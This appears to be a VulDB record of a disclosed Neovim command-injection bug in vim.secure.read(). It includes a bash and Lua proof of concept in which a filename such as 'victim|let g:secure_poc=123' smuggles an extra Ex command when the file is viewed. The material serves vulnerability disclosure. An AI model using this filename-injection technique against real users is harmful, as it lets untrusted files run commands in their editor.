| 标题 | Neovim Neovim <= 0.12.2 command injection |
|---|
| 描述 | Problem
The branch of concatenates an unescaped path into the Ex command, allowing an attacker to inject and execute additional Ex commands via a malicious filename, thereby breaking the security boundary for viewing untrusted files.Viewvim.secure.read()sview
Steps to reproduce
Local Dynamic Verification Results
Local minimal dynamic verification has been completed, and the conclusion is: The vulnerability can be triggered in practice.
Verification Approach
Construct a filename as follows:
victim|let g:secure_poc=123
Then force to enter the branch, observing whether interprets as an additional Ex command.vim.secure.read()Viewvim.cmd('sview ' .. fullpath)|let g:secure_poc=123
PoC
#!/bin/bash
tmpdir=$(mktemp -d)
target="$tmpdir/victim|let g:secure_poc=123"
printf 'test content\n' > "$target"
cat > "$tmpdir/repro.lua" <<'EOF'
-- Dynamically locate the correct path for secure.lua
local runtime_path = vim.fn.stdpath('run') or '/usr/share/nvim/runtime'
local secure_path = vim.fn.globpath(vim.o.runtimepath, 'lua/vim/secure.lua'):match('[^\n]+')
if not secure_path or secure_path == '' then
-- Try common paths
local candidates = {
'/usr/share/nvim/runtime/lua/vim/secure.lua',
'/usr/local/share/nvim/runtime/lua/vim/secure.lua',
vim.fn.expand('$VIMRUNTIME') .. '/lua/vim/secure.lua'
}
for _, path in ipairs(candidates) do
local f = io.open(path, 'r')
if f then
f:close()
secure_path = path
break
end
end
end
if not secure_path or secure_path == '' then
io.stderr:write("Error: Cannot find secure.lua\n")
io.stderr:write("Try: find /usr -name 'secure.lua' 2>/dev/null\n")
os.exit(1)
end
-- Hook the confirm function to force return 2 (View option)
vim.fn.confirm = function(...)
return 2 -- Choose "View"
end
-- Load the secure module
local secure = dofile(secure_path)
-- Trigger the vulnerability
local path = vim.env.TARGET
local ok, err = pcall(secure.read, path)
io.stdout:write("=== Results ===\n")
io.stdout:write("secure.read success: " .. tostring(ok) .. "\n")
io.stdout:write("g:secure_poc value: " .. tostring(vim.g.secure_poc) .. "\n")
if not ok then
io.stdout:write("Error: " .. tostring(err) .. "\n")
end
EOF
echo "=== Executing PoC ==="
TARGET="$target" nvim --headless -u NONE \
-c "luafile $tmpdir/repro.lua" \
-c "qa!" 2>&1
rm -rf "$tmpdir"
Expected behavior
Verification Results
The experimental results show:
ok = true
g:secure_poc was successfully set to 123
This indicates that:
The character in the filename is interpreted as an Ex command separator|
The injected command is indeed executed
This issue is not a theoretical risk but a confirmed command injection |
|---|
| 来源 | ⚠️ https://github.com/neovim/neovim/issues/39914 |
|---|
| 用户 | NanHang (UID 97876) |
|---|
| 提交 | 2026-05-21 00時07分 (19 日前) |
|---|
| 管理 | 2026-06-07 12時08分 (18 days later) |
|---|
| 状态 | 已接受 |
|---|
| VulDB条目 | 369107 [Neovim 直到 0.12.2 View Branch secure.lua M.read path 权限提升] |
|---|
| 积分 | 20 |
|---|